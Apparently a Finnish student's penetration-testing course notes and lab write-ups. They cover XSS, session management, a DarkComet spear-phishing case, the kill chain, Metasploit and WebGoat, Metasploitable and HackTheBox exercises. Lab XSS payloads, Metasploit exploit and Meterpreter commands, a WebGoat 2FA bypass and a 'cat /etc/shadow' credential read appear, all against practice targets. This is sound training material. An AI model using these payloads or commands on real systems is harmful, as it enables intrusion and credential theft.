      • current leading standard for inter-domain SSO
  • Web session – sequence of HTTP requests and responses between web client and web server
    • pre-authentication tasks – authentication process – session management -access control – session finalization
    • many web applications keep track of information about users for duration of transactions
      • variables: access rights, localization settings etc.
      • provide session capabilities both before and after authentication
      • once an authenticated session has been established, session ID/token is temporarily equivalent to the strongest authentication method used by application
    • Session ID / token (ID = “12345678abcdefg”)
      • provided users by applications to keep the authenticated state and track user’s progress
      • assigned at session creation, shared and exchanged by user and web application for duration of session
      • “name = value” pair
      • easily fingerprinted: PHPSESSID -> PHP framework
      • most be long 128 bits/16 bytes + unique and unpredictable = good PRNG (at least 64 bits of entropy)
    • Session ID exhange mechanisms – mechanisms in HTTP to maintain session states within web applications
      • cookies (most widely used), URL parameters (RFC2396), URL arguments on GET requests, body arguments on POST requests: hidden form fields, HTLM forms, or prioprietary HTTP headers
      • session id should not be included in URL – can lead to manipulation or session fixation attacks (inject or manipulate session id on victim’s web browser)
    • Session management
      • web frameworks provide session management features
      • encrypt entire web session, ensure that elements are only exchanges through an encrypted channel
      • session management based on cookies uses:
        • persistent – has “max age” or “expires” attribute, will be stored in browser until expiration
        • non-persistent (session cookies) – session info is deleted from client if browser instance closed
      • session id must be carefully validated and verified by application depending on session management mechanism used
        • session id will be received in GET or POST parameter or in URL or in HTTP header using cookies
      • if web applications do not validate or filter invalid session IDs they can be potentially exploited by other vulnerabilities
        • SQL injection if session id is stored in a database or persistent
        • Cross-site scripting if session is stored and reflected back afterwards by web application

Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting

What is XSS? – inject some JavaScript code in the web server – code won’t be run on server but on clients (victim) browser

Reflected XSS

  • manipulate any URL and send it to our victim, when a victim clicks on the URL, a JavaScript code will be run on their browser
  • submit code script instead of parameters in URL

Stored XSS

  • store code script on website

Real Hacking with XSS

  • BeEF Hooking JavaScript code in Cross-Site Scripting attack
    • all users landing on webpage is hooked to BeEF Control Panel
    • full control – run any command in their browser

How to Protect Yourself?

  • stay away from untrusted, unkown websites
  • disable JavaScript in browser (may distort view and functionality of trusted websites as well)

a) Social Engineering case study

2015 – 03 – 26: Security alert: Infamous DarkComet RAT Used in Spear Phising Campaigns https://heimdalsecurity.com/blog/darkcomet-rat-phishing-campaigns/

  • Kohteena useita arkkitehti-firmoja Tanskassa
    • aikaisemmin sama cyber-rikollisryhmä oli hyökännyt samanlaisilla menetelmillä tanskalaisia kiropraktikkoja vastaan
  • Kohdennettuja ja räätälöityjä sähköposteja täydellisellä tanskan kielellä
  • Haitallinen koodi sisälsi DarkComet RATin

Spear Phising – Spear phishing is a type of phishing that is highly targeted against a single individual inside an organization. This type of phish is built using content that is personal and believable. It usually doesn’t stand out too much from the company’s normal email stream. 

https://www.hoxhunt.com/blog/what-is-spear-phishing-and-how-do-you-recognize-it/

DarkComet RAT – a remote access trojan (RAT) developed by Jean-Pierre Lesueur (known as DarkCoderSc) … DarkComet allows a user to control the system with a graphical user interface. It has many features which allows a user to use it as administrative remote help tool; however, DarkComet has many features which can be used maliciously. DarkComet is commonly used to spy on the victims by taking screen captures, key-logging, or password stealing.

https://en.wikipedia.org/wiki/DarkComet

Tapahtumakulku

  1. Haitallinen sähköposti, henkilökohtaisesti muotoiltu ja kohdennettu

2. Sähköposti sisältää tekaistun Dropboxin linkin -> lataa AutoCad-export.exe -tiedoston

3. Jos tiedoston suorittaa, se voi käynnistää seuraavat toimet:

  • keylogging
  • tietojen keruu
  • näytön sieppaaminen
  • aktivoida mikrofoonia ja webcamia
  • käynnistää RDP-yhteyden

4. Pääkomponentit tallentuu tähän: C:Users[brugerkonto]AppDataRoamingMicrosoftSecuritywinsec.exe

5. Haittaohjelma käynnistää tekaistun virheviestin uhrin hämäämiseksi

6. Seuraavat tiedostot kopioidaan tartunnan saaneeseen järjestelmään:

C:DOCUME~1[Brugerprofil]LOCALS~1TempAutoCad-export.INI
C:DOCUME~1[Brugerprofil]LOCALS~1TempAutoCad-export.exe.config
C:DOCUME~1[Brugerprofil]LOCALS~1TempAutoCad-export.exe
C:nzlvnwssfdllyuESBS.dll

Ja muutoksia tehdään rekisteriin:

HKEY_CLASSES_ROOTAppIDwinsec.exe
HKEY_CLASSES_ROOTAppIDAutoCad-export.exe

  • Pääasiallinen haitallinen koodi on suojattu antivirusohjelmalta Cryptorin avulla, payload WebMatcher3.exe . Cryptor voi tehdä seuraavat toimet:
    • päivittää
    • käynnistää etähallinnan
    • lähettää liikennettä verkkosijaintiin
    • käynnistää DDos hyökkäyksen
  • Tärkeimmät Command & Control palvelimet ovat Kanadassa

 Olisiko ollut vaihtoehtoisia tai parempia tapoja toteuttaa hyökkäys? Millä keinoin hyökkäyksen olisi voinut estää, havaita tai rajoittaa sen vaikutusta?

  • Tyylikäs ja ammattimainen hyökkäys ja ei ollut täysin samanlainen kuin edellinen
  • Koska käytetty haittaohjelma DarkComet RAT oli varsin tunnettu, siihen olisi voinut varautua erityisellä suojauksella + pitämällä järjestelmät ja sovellukset päivitettynä
  • Varmuuskopioimalla järjestelmiä ja tietoja säännöllisesti on mahdollista palauttaa kaiken mahdollisen hyökkäyksen seurauksena

b) Rikun viitteet. Tiivistä tai poimi 3-5 avainoppia jostain (yhdestä) Rikun kalvoilla mainitusta lähteestä.

Tutustuin tarkemmin DNSTwist työkaluun, https://github.com/elceef/dnstwist

DNSTwist – mitä tapahtuu, jos käyttäjä kirjoittaa domainin väärin?

  • Etsii samankaltaisia domaineja, joita on mahdollista käyttää höykkäyksessä
  • Havaitsee typosquattereita, phising-hyökkäyksiä, petoksia ja tuotemerkin esiintymiset
  • Kohdennettu uhkatiedustelu

Typosquatting, also called URL hijacking, a sting site, or a fake URL, is a form of cybersquatting, and possibly brandjacking which relies on mistakes such as typos made by Internet users when inputting a website address into a web browser. Should a user accidentally enter an incorrect website address, they may be led to any URL (including an alternative website owned by a cybersquatter).

https://en.wikipedia.org/wiki/Typosquatting

DNS fuzzing

  • luo domainin perusteella luettelon variaatioista ja tarkistaa onko mikään niistä käytössä
  • luo verkkosivuista fuzzy hashes ja tarkistaa ovatko ne osa aktiivista hyökkäystä, kuten phising tai tuotemerkin esiintymistä

Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions such as crashes, failing built-in code assertions, or potential memory leaks.

https://en.wikipedia.org/wiki/Fuzzing#Browser_security

Asennus ja vaatimukset

# Python PIP
$ pip install dnstwist

# Kali Linux:
$ apt install dnstwist

# Docker
$ docker run elceef/dnstwist
  • standard Python3 kirjasto + muutama kolmannen osapuolen pakettia
  • esim. Debianilla:
$ sudo apt install python3-dnspython python3-tld python3-geoip python3-whois \
python3-requests python3-ssdeep

Käyttö

  • ajaa annetun domainin fuzzing algoritmiensa läpi ja luo listan potentiaalisista phising domaineista
  • fuzzy hashing – argument: –ssdeep
    • dnstwist hakee jokaisen luodun domainin kohdalla vastaavasta HTTP-palvelimesta ja vertaa sen fuzzy hashia alkuperäiseen, samankaltaisuus ilmaistaan prosentteina
  • suorittaa yksinkertainen testi kullekin sähköpostipalvelimelle (mainostettu DNS MX -tietueella) tarkistaakseen voidaanko palvelua käyttää vihamielisena sähköpostin honey potina
  • tulostus CSV- ja JSON-tiedostoihin
$ dnstwist --format csv domain.name | column -t -s,
$ dnstwist --format json domain.name | jq
$ dnstwist --format list domain.name

c) WebGoat

  • A2 Broken authentication:
    • Authentication bypasses: 2 2FA Password Reset

Lähetän ensin tyhjän lomakkeen, ja tarkastelen mitä tapahtuu. Eli se lähettää verify.account POST kyselyn. Koitan muokata sitä, eli valitsen “Edit and resend”.

Tässä jouduin pohtimaan millä tavalla sitä voisi muuttaa, jotta se toimisi haluamallani tavalla. Tähän auttoi vihje: “Have you tried renaming the secQuestion0 and secQuestion1 parameters?” Eli nimeän parametrit uudelleen.

secQuestion0=&secQuestion1=&jsEnabled=1&verifyMethod=SEQ_QUESTIONS&userId=12309746
->
secQuestion2=&secQuestion3=&jsEnabled=1&verifyMethod=SEQ_QUESTIONS&userId=12309746

Vaihdan ne myös lomakkeen HTML koodissa:

Ja painan uudelleen submit, ja nyt turvakysymykset on ohitettu!

  • Secure Passwords: 4 How long could it take to brute force your password?

Tämä oli varsin helppo tehtävä. Hyvä salasana on tarpeeksi pitkä, sisältää erilaisia kirjaimia ja numeroita mutta ei kuitenkaan koostuu vain yhdestä sanasta. Salasanalauseita on helppo muistaa ja niistä saa helposti tarpeeksi monimuotoisia.

  • A3 Sensitive data exposure
    • Insecure Login: 2 Let’s try

Kokeilin tätä ensin Firefoxin Developer Toolseilla, ja tunnukset löytyivät näin varsin helposti.

Sen jälkeen oli helppoa syöttää tunnukset sopiviin kenttiin.

  • A7 Cross Site Scripting (XSS): Cross site scripting
    • 2 What is XSS?

Kuten tehtävässä käskettiin, avasin uuden tabin samalle WebGoat-sivulle, ja syötin URLiin javascript:alert(document.cookie);

Vertailin molempien sivujen sessionIDt, ja ne olivat samat.

  • 7 Try It! Reflected XSS

Vihje: Quantity inputs are probably processed as integer values. Not the best option for inputting text right? sulki heti pois suurin osa kentistä.

Myös seuraavista vihjeistä oli apua, What information send to the application gets reflected back after being submitted? ja Just try purchasing something. You want your script to be included in the purchase-confirmation.

Testaan mitä tietoja lomake antaa kun painaa purchase:

Tästä nähdään, että sopiva kenttä XSS:lle on luottokorttinumeron kenttä. Samalla saadaan tietoa, että halutaan vastaukseksi saada jotain JavaScript koodia kyseiseen kenttään. Tehtävänannossa ehdotetaan alert() tai console.log() metodeja.

Tehtävä onnistui, mutta en tiedä oliko tähän tarkoitus syöttää jotain monimutkaisempaa koodia… Myös console.log() antaa samanlaisen vastauksen.

  • 10 Identify potential for DOM-Based XSS

Tutkin sivun JavaScript koodia ja löydän lupaavan GoatRouter.js tiedoston.

Teen haun tiedoston sisällössä:

Tästä voisi päätellä, että jos nykyisen sivun URL on http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9 olisi mahdollista vaihtaa sana lesson sanaksi test.

URLin syöttäminen kuitenkin epäonnistuu… Vihjeistä ja tehtävänannosta löytyy kuitenkin apua.

  • 11 Try It! DOM-Based XSS

Tässä tehtävässä käytin taas hyödyksi vihjeitä.

Vihje: Open a new tab and navigate to the test-route you just figured out in the previous lesson.

Vihje: Your URL should look something like that http://localhost:8080/WebGoat/start.mvc#REPLACE-WITH-THE-TEST-ROUTE/some\_parameters

Navigoin ensin edellisessä tehtävässä poimitulle testi-URLille http://localhost:8080/WebGoat/start.mvc#test/

Vihje: Note how the parameters you send to the test-route get reflected back to the page. Now add your JavaScript to it.

Syötän annetun JavaScript funktion URLiin: http://localhost:8080/WebGoat/start.mvc#test/webgoat.customjs.phoneHome()/

en kuitenkaan löydä sopivaa responsea ja numerokoodia…

Vihje: You have to use script tags, so your JavaScript code gets executed when being rendered into the DOM.

Vihje: Replace ‘/’ with ‘%2F’ in your URL parameters.

Kokeilen eri muotoja URLista, ja löydän lopulta sopivan: http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome()<2Fscript&gt;

2. kybertappoketju, nmap, metasploit ja harjoitusmaalit

Kurssisivu ja tehtävät: https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/

Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains

  1. Tutkielma esittää uuden tunkeutumisen tappoketjun mallin, jonka antaa uusia näkemyksiä tunkeutumisen analysointiin sekä puolustaviin toimenpiteisiin.
    • Uusi uhka-tyyppi: Advanced Persistent Threat (APT)
      • aikomus on vaarantaa taloudellisia tai sotilallisia tietoja (kohteena esim. teollisuus ja hallitukset (US))
      • kohdennetut, manuaalisesti toteutetut tunkeutumiset (esim. phising sähköpostit)
      • edistyneitä, räätälöityjä haittaohjelmia ja nollapäivä-hyökkäyksiä
  2. Älykkyyslähtöinen tietokoneverkon puolustaminen on jatkuva riskinhallintastrategia, joka kohdistuu riskin uhkatekijöihin ja käsittää hyökkäjien analysointiin.
    • malli näyttää, että hyökkääjillä ei ole välttämättä luontainen etu puolustajiin nähden
    • mallin tärkein älytekijä on indikaattori -> mikä tahansa tieto, joka kuvaa objektiivisesti tunkeutumista
      • Atomiset indikaattorit ei voida jakaa pienempiin osiin ja säilyttää tunkeutumisen yhteydessä, esim. IP-osoitteet ja sähköpostiosoitteet
      • Lasketut indikaattorit ovat johdettu tapaukseen liittyvistä tiedoista, esim. hash-arvot ja säännöllisest lausekkeet
      • Käyttämisindikaattorit ovat yhdistettyjä atomisia ja laskettuja indikaattoreita
    • analyytikot paljastavat indikaattoreita analyysin tai yhteistyön avulla, kypsentää niitä vertailemalla niitä työkaluissaan ja hyödyntää niitä samantyypisen toiminnan tutkimiseen
    • Tappoketju on systemaattinen prosessi, jonka avulla hyökkääjä voidaan kohdistaa ja sitoutua
      • Tiedustelu – tutkimus, kohteiden tunnistaminen ja valinta
      • Aseistaminen – hyötykuorman toimittaminen yhdistämällä etäkäyttöisen troijalaisen ja hyväksykäytön, esim. PDF tai Office-asiakirjat
      • Toimitus – aseen siirtäminen kohde-ympäristöön, esim. sähköpostin liitteenä, verkkosivustoilla tai USB-laitteiden avulla.
      • Hyväksikäyttö – hyväksikäyttö laukaisee tunkeilijan koodin kohteessa, kohdistuu esim. sovelluksen tai käyttöjärjestelmän haavoittuvuuteen, käyttäjään tai käyttöjärjestelmän automaattisesti suoritettavaan koodiin.
      • Asennus – etäkäyttöisen troijalaisen tai takaoven asentamisen avulla tunkeilija pystyy jäämään kohde-ympäristöön
      • Komento ja hallinta (C2) – tyypillisesti vaarantuneet isännät on lähetettävä signaali ohjainpalvelimeen luodaakseen C2-kanavan. APT-haittaohjelma varsinkin vaatii manuaalista toimintaa. Kun C2-kanava on muodostettu, tunkeilijalla on täysi pääsy kohdeympäristöön
      • Tavoitteisiin liittyvät toimet – tunkeilija voi vasta tässä vaiheessa ryhtyä toimiin alkuperäisten tavoitteidensa saavuttamiseksi. Tavoite voi olla tietojen suodattaminen (kerääminen, salaaminen tai poiminen), tietojen eheyden tai saatavuuden rikkominen, tai kohteen käyttäminen muiden järjestelminen varaantamiseksi.
    • Älykkyyslähtöinen tietokoneverkon puolustaminen tarkoittaa, että turvallisuuspäätökset ja mittaukset perustuvat tarkkaan vastustajan ymmärrykseen.
      • täydellisyys vastaa sinnikyyttä, kokonaisvaltainen puolustus tappoketjun eri vaiheissa
      • sinnikyyden mittaaminen: puolustuksen suorituksen ja tehokkuuden jatkuva mittaaminen, puolustaja voi oppia jotain vastustajasta jokaisesta tunkeutumisyrityksestä ja löytää sen avulla korjattavia aukkoja
      • Tavanomainen tilanteiden reaktio prosess aloitetaan vasta hyväksikäyttövaiheen jälkeen ja tämä malli korostaa jokaisen vaiheen erityinen analysointi, jolloin hyökkäystä on mahdollista pysäyttää heti alussa. Puolustaja voivat ylläpitää taktisen edun ottamalla käyttöön vastatoimia nopeammin kuin vastustajat.
      • Analysoimalla useita tunkeutumisen tappoketjuja pidemmältä ajalta on mahdollista tunnistaa yhtäläisyyksiä ja päällekkäisyyksiä, tämän avulla halutaan tunnistaa tunkeilijoiden kuvioita ja käyttäytymistä jotta olisi mahdollista ennakoida tunkeilijoiden toimia.
      • Tärkeä osa analysoinnissa on ymmärtää tunkeilijoiden tavoitteet ja aikomukset.
  3. Tutkielma esittää myös tapaustutkimuksen, jossa on tarkkailtu kolme tunkeutumisyritystä.
    • Tunkeutumisyritykset toteutettiin tavanomaisella APT taktiikalla, eli lähettämällä kohdennetut haitalliset sähköpostit jotka sisälsivät aseistetun liitteen joka asentaa takaoven joka aloittaa yhteyden C2 palvelimeen. Hyökkäys käytti hyväkseen nollapäivä-haavoittuuvuuden.
    • Verkon puolustajat onnistuivat havaitsemaan ja lieventämään tunkeutumisen analysoimalla tappoketjut sekä vankan indikaattorin avulla.

Materiaali: Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains

Jaswal 2020: Mastering Metasploit – 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit

Termejä:

  • Exploits = hyväksikäytöt: Koodinpätkä, joka hyväksikäyttää kohteen haavoittuuvutta
  • Payload = hyötykuorma: Koodinpätkä, joka suoritetaan kohteessa onnistuneen hyväksikäytön jälkeen. Määrittelee mitä toimia halutaan tehdä.
  • Auxiliary = apulaisia: Moduuleja, jotka tarjoavat lisätoimintoja kuten esim. skannaaminen, fuzzing, sniffing.
  • Encoders = Enkooderit: Enkoodereita käytetään moduulien hämärtämiseen, jotta antivirus tai palomuuri ei havaitsisi niitä.
  • Meterpreter: Meterpreter on hyötykuorma joka käyttää muistin DLL injektioita. Tarjoo useita toimia, joita voimme toteuttaa kohteessa.

Perus komentoja (lainattu materiaalista):

KomentoKäyttöEsimerkki
use [Auxiliary/Exploit/Payload/ Encoder/evasion]Tietyn moduulin valintamsf>use exploit/unix/ ftp/vsftpd_234_backdoor
show [exploits/payloads/plugins/ encoder/auxiliary/post/nops/options]listaa käytettävissä olevat moduulitmsf>show payloads msf>show options
set [options/payload]aseta arvo objektillemsf>set payload windows/ meterpreter/reverse_tcp msf>set RHOST 192.168.10.112
setg [options/payload]aseta globaali arvo objektillemsf>setg RHOST 192.168.10.112
runkäynnistä moduulimsf>run
exploitkäynnistää exploitinmsf>exploit
backpoistaa moduulin valinnan ja palaa takaisinmsf(ms08_067_netapi)>back msf>
infolistaa exploitin/moduulin/auxin infoamsf>info exploit/windows/ smb/ms08_067_netapi msf(08_067_netapi)>info
searchetsii moduulejamsf>search hfs
checktarkistaa jos kohde on haavoittuvainen exploitillemsf>check
sessionslistaa käytettävissä olevat istunnotmsf>sessions [session number]
Lähde: Jaswal 2020: Mastering Metasploit – 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit

Meterpreter komentoja:

Meterpreter komentojaKäyttöEsimerkki
sysinfolistaa kohteen järjestelmätiedotmeterpreter>sysinfo
ifconfiglistaa kohteen verkkoliitännätmeterpreter>ifconfig
arplistaa kohteen naapureiden IP:t ja MACitmeterpreter>arp
backgroundlähettää aktiivisen istunnon taustallemeterpreter>background
shellavaa komentorivin kohteessameterpreter>shell
getuidkertoo nykyisen käyttäjän tiedotmeterpreter>getuid
getsystemlaajentaa oikeuksia ja antaa system accessiameterpreter>getsystem
getpidkertoo meterpreter accessin prosessi id:nmeterpreter>getpid
pslistaa kaikki kohteen prosessitmeterpreter>ps
Lähde: Jaswal 2020: Mastering Metasploit – 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit

Miksi Metasploit?

  • vapaa lähdekoodi, kehitetään aktiivisesti
  • helppokäyttöinen
  • mahdollistaa massiivisen verkon tunkeutumis testaamista, jokaista kohdetta ei tarvitse yksitellen testata, vaan ryhmän järjestelmiä voi testata kerralla
  • hyötykuorman vaihtaminen on helppoa
  • puhdas poistuminen ja paljon hyväksikäytön jälkeisiä työkaluja

Tietokanta

  • tulosten automaattinen tallennus tietokantaan
  • tietopohja: kerää testaukset isännät, palvelut ja haavoittuvuudet
  • tietokantojen käyttö nopeuttaa hakua ja parantaa vastausaikaa
  • komentoja:
KomentoKäyttö
analyzeanalysoi kohte ip:n tai avaruuden tietokanta tiedot
db_connectkäytetään kun ollaan yhteydessä muihin tietokantoihin kuin defaultiin
db_exportvie kokonaisen datasetin tietokannasta raporttin tai inputtina toiseen työkaluun
db_nmaptekee nmap skannauksen kohteelle ja tallentaa tulokset Metasploit tietokantaan
db_statustarkistaa tietokannan yhteyden
db_disconnectkatkaisee yhteyden tietylle tietokannalle
db_importtuo tuloksia muilta työkaluilta kuten Nessus, Nmap ym.
db_rebuild_cacheluo uudelleen cachen, mikäli edellinen on vanhentunut tai korruptoitu
db_removepoistaa tallennettu data merkintä
db_savetallentaa nykyinen data merkintä defaultina
Lähde: Jaswal 2020: Mastering Metasploit – 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit

Workspace

  • eri testien erottaminen toisistaan
  • uusi workspace: workspace -a [identifier]
  • vaihda workspace: workspace [workspace-name]

Porttiskannaus

  • db_nmap -sV 192.168.188.129 -> db_nmap -sV -Pn 192.168.188.129
    • -sV – version scan
    • -Pn – no ping

Materiaali: Chapter 1: Approaching a Penetration Test Using Metasploit

a) Listaa työkaluja ja tekniikoita, jotka sopivat kuhunkin kybertappoketjun vaiheeseen (Hutchins et al / Lockheed Martin Cyber Kill Chain). Listaa ainakin yksi työkalu tai tekniikka kuhunkin vaiheeseen. Kokeile 1-3 näistä työkaluista.

  1. Reconnaissance
    • nmap – porttiskannaus
    • netcat – banner grabbing
    • verkkosivujen tarkastelu ja hakukoneiden hyödyntäminen ja sosiaalinen media
  2. Weaponization
    • vulnerability scanners – wireshark, nexpose, metasploit pro
  3. Delivery
    • sähköpostin liite, usb
  4. Exploitation
    • haitallinen tiedosto, joka sisältää troijalaisen tai takaoven
    • metasploit
  5. Installation
    • käyttäjä avaa tiedoston ja asentaa haittaohjelman
  6. Command and Control C2
  7. Actions on objectives

b) Metasploitable. Asenna Metasploitable 2. Murtaudu sille useilla tavoilla.

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. …b By default, Metasploitable’s network interfaces are bound to the NAT and Host-only network adapters, and the image should never be exposed to a hostile network.

https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

Latasin Metasploitable 2 vmdk:n sivulta https://sourceforge.net/projects/metasploitable/ ja asensin sen VirtualBoxiin. Koneen verkoksi asetin host-only networkin VB:n asetuksissa. Kirjaudun koneeseen ja otan IP-osoitteen talteen ifconfigilla.

Tunkeutumiseen käytän Kali Linux virtuaalikoneen. Käynnistän metasploitin…

Tarkistan ensin, että tietokanta on aktiivinen.

Enpä saanut millään metasploitia yhdistämään postgresql:ään mutta löysin lopulta ratkaisun foorumilla https://forums.kali.org/showthread.php?38847-Unable-to-start-Postgresql-so-I-can-run-Metasploit , eli seuraava komento pitää ajaa, jotta metasploit käynnistää tietokannan.

$ sudo msfdb init
$ sudo msfconsole

Ensin kokeilen samaa tunkeutumista, jota teimme tunnilla.

  1. Skannaan nmapilla portit 80 ja 443 db_nmap -p 80,443 [ip-osoite] -oA http
  2. Skannaan nmapilla avoimet portit ja palveluiden versiot db_nmap -sV [ip-osoite] -oA 3top100sv
  3. Tutkin tarkemmin vsftpd:n search vsftpd + info 0
  4. Otan moduulin käyttöön use 0 ja tutkin vaihtoehtoja show payloads + show options
  5. Asetan kohteen RHOSTSiin set RHOSTS [ip-osoite] (+ show options)
  6. Käynnistän exploitin exploit -> “found shell…command shell session 1 opened” -> eli onnistunut. Haettu koneen salasanatiivisteet cat /etc/shadow
1
2
3
3
4
5
6

Seuraavaksi kokeilen tunkeutua koneeseen toisella tavalla

  1. Luon ensin uuden workspacen workspace -a tunk2 ja vaihdan siihen workspace tunk2
  2. Tutkin telnetin mahdollisia moduuleja search telnet
  3. Tutkin tarkemmin muutaman moduulin, jonka rank on “excellent” info 17
  4. Otan moduulin 17 käyttöön use 17 ja tarkastan tarkemmin vaihtoehdot ja vaatimukset
  5. Asetan kohteen ip-osoitteen RHOSTS:iin set RHOSTS [ip-osoite]
  6. Käynnistän exploitin exploit , joka kuitenkin epäonnistuu… koitan asettaa telnetin portin 23 set RPORT 23 , mutta ei edisty, ongelma näyttäisi olevan “ateCommand_flag variable”, jonka ehkä pitäisi asettaa, mutta loogisin komento set ateCommand_flag 1 ei tuota tulosta
2
3
4
5
4

c) Asenna jokin kone VulnHubista ja tunkeudu siihen.

Valitsin VulnHubista aika satunnaisesti koneen PWNLAB: INIT https://www.vulnhub.com/entry/pwnlab-init,158/ , joka kuvauksen mukaan sopii aloittelijalle ja jossa lisäksi näkyy olevan jonkinlainen walktrough, jos jää jumiin.

Tavoite: Päästä rootiksi ja lukea flag /root/flag.txt

Silmäilin useita walktroughta, mutta hyödynsin enimmäksen tätä https://reedphish.wordpress.com/2016/09/17/pwnlab-init-walkthrough/

  1. Asensin koneen VirtualBoxiin
  2. Ensimmäinen haaste oli löytää koneen IP-osoite, koneessa on DHCP aktivoituna ja se saa automaattisesti IP-osoitteen. Koneessa oli automaattisesti bridged adapater aktivoituna, mutta vaihdoin sen host-only networkiksi, toivottavasti ei riko mitään.
    • Kokeilen ensin netdiscover netdiscover -r [ip range]
Vaikuttaa lupaavalta
  • Kokeilen huvikseni myös nmapin pingsweepia, mutta se löytää ainoastaan itseään. nmap -sP [ip range]

3. Seuraavaksi tutkin avoimia portteja nmap -Pn -A [ip-osoite] (-Pn – no ping, -A – aggressive)

Tähän jäin sitten jumiin, kun en millään keksi miten pääsen skannaamaan noita filtteröityjä portteja. Tästä koitin löytää ratkaisu https://nmap.org/book/firewall-subversion.html

EDIT 18.6.2021: Parannettu lähdeviittaukset.

1. Kutsu, vuohi ja pimeän verkon päiväkirjat

Kurssisivu ja tehtävät: https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/

a) Hanki kutsu HackTheBoxiin.

HackTheBoxin harjoitusten aloittaminen vaatii, että ensin onnistuu selvittämään kutsu-koodia.

Päätän tarkistaa mitä sivun taustalla tapahtuu, eli avaan selaimen (Google Chrome) Developer toolsit. Tästä heti paljastuu seuraavat askeleet.

Tässä kohtaa jouduin Googlaamaan tuntemattoman sanan obfuscated, jolloin löysin myös työkaluja, joiden avulla koodia pystyy kaunistaa.

Tästä löytyy kiinnostavat kohdat, url, joka ei johda mihinkään (koska POST) sekä funktio makeInviteCode(). Kun funktion syöttää consoleen, avautuu seuraava askel.

Tässä kohtaa jumituin, kun en keksinyt mistä löydän encryption typen. Tauon jälkeen pääsen kuitenkin eteenpäin (liian lähellä, niin kuin usein on).

Eli, voidaan päätellä, että salaustyyppi on ROT13. Tästä en ole aikaisemmin kuullut, eli sitä tutkin seuraavaksi.

ROT13 (“rotate by 13 places“, sometimes hyphenated ROT-13) is a simple letter substitution cipher that replaces a letter with the 13th letter after it in the alphabet. ROT13 is a special case of the Caesar cipher which was developed in ancient Rome.

https://en.wikipedia.org/wiki/ROT13

Kun koodia dekoodataan (https://rot13.com/) saadaan seuraava tulos: “In order to generate the invite code, make a POST request to /api/invite/generate”

Tämä teen curlilla, ja onnistuin saamaan koodin!

Hmm, eipä tainnut toimia…Vaikuttaa siltä, että on ollut useampi välilehti, jotka mennyt sekaisin

Nyt kun tiedän mitä tehdä, voin helposti kokeilla uudelleen…Paitsi, että ei ollutkaan niin helppoa, kun ilmeisesti POST requestin avulla saatu koodi on myös koodattu. Kokeilen ensimmäistä dekoodaria, mitä löytyy (https://www.base64decode.org/), jonka avulla saan vihdoin toimivan koodin!

Success!!

d) Asenna Kali Linux virtuaalikoneeseen. Kokeile jotain Kalin mukana tulevaa työkalua paikalliseen localhost-osoitteeseen.

Teen tässä vaiheessa tehtävät eri järjestyksessä, sillä haluan asentaa WebGoatin Kali Linuxille, joten asennan ensin Kali Linuxin VirtualBoxiin.

Lataan ensin uusimman levykuvan (https://www.kali.org/downloads/) ja asennan sen jälkeen virtuaalikoneen.

Jostain syystä asennus epäonnistuu. Tutkin hieman asennuksen ohjeita (https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/).

Kokeilen asentaa valitsemalla GNOMEn graafiseksi käyttöliittymäksi XFCE:n sijaan, ja tällöin asennus onnistuu.

Asennuksen yhteydessä on automaattisesti havaittu, että asennus tehdään virtuaalikoneelle, joten GuestAdditions on lisätty asennukseen, eli niitä ei tarvitse erikseen asentaa.

Ensimmäiseksi teen päivitykset sekä vaihdan root-käyttäjän salasanaa. En kuitenkaan käytä root-käyttäjää, mutta haluan muuttaa pois default-salasanan.

$ sudo apt update
$ sudo su # vaihdan rootiksi
$ passwd root # vaihdan salasanan

Seuraavaksi tutustun Kalin työkaluihin, https://tools.kali.org/tools-listing ja https://kali.training/.

Päätän kokeilla nmap -työkalua, sillä se on ennestään jokseenkin tuttu.

Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing. … Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. 

https://tools.kali.org/information-gathering/nmap

Käytän apuna https://nmap.org/book/port-scanning-tutorial.html

Yksinkertaisin skannaus ($ nmap localhost) ei tässä tapauksessa anna kovin paljon mielenkiintoista tietoa, sillä kaikki portit ovat tällä hetkellä suljettuna.

Päätän tässä vaiheessa siirtyä hetkeksi eteenpäin, eli tässä välissä asennan WebGoat, palaan sen jälkeen testaamaan nmapia enemmän.

Ennen kuin rupean harjoittelemaan WebGoatilla, varmistan, että virtuaalikoneeni ja sen yhteys on turvattu. Tätä varten tutkin hieman dokumentaatiota, https://www.virtualbox.org/manual/ch13.html ja https://www.virtualbox.org/manual/ch06.html#network_internal. Päädyn käyttämään host-only network vaihtoehtoa kyseisessä virtuaalikoneessa.

EDIT 6.4. Kysyin tunnilla miten konetta voisi parhaiten turvata. Se on tietenkin aina tavallaan mielipidekysymys, ja siihen vaikuttaa paljon erilaisia seikkoja. Päädyin kuitenkin seuraamaan Teron tapaa, eli lisään virtuaalikoneelleni kaksi verkkokorttia joista yksi on NAT ja toinen host-only. Näiden välillä vuorottelen sitten tarpeen mukaan. Toki myös ufw on koneessa päällä ja sallin ainoastaan sen minkä tarvitsen.

b) Asenna WebGoat ja kokeile, että pääset kirjautumaan sisään.

WebGoat on minusta kiinnostava, sillä olen opiskeluiden alkuvaiheessa jo kokeillut sitä Tietoturvan perusteet-kurssilla, ja silloin tehtävät tuntuivat todella haastavilta. Jännittävää on nyt nähdä miten on kehittynyt.

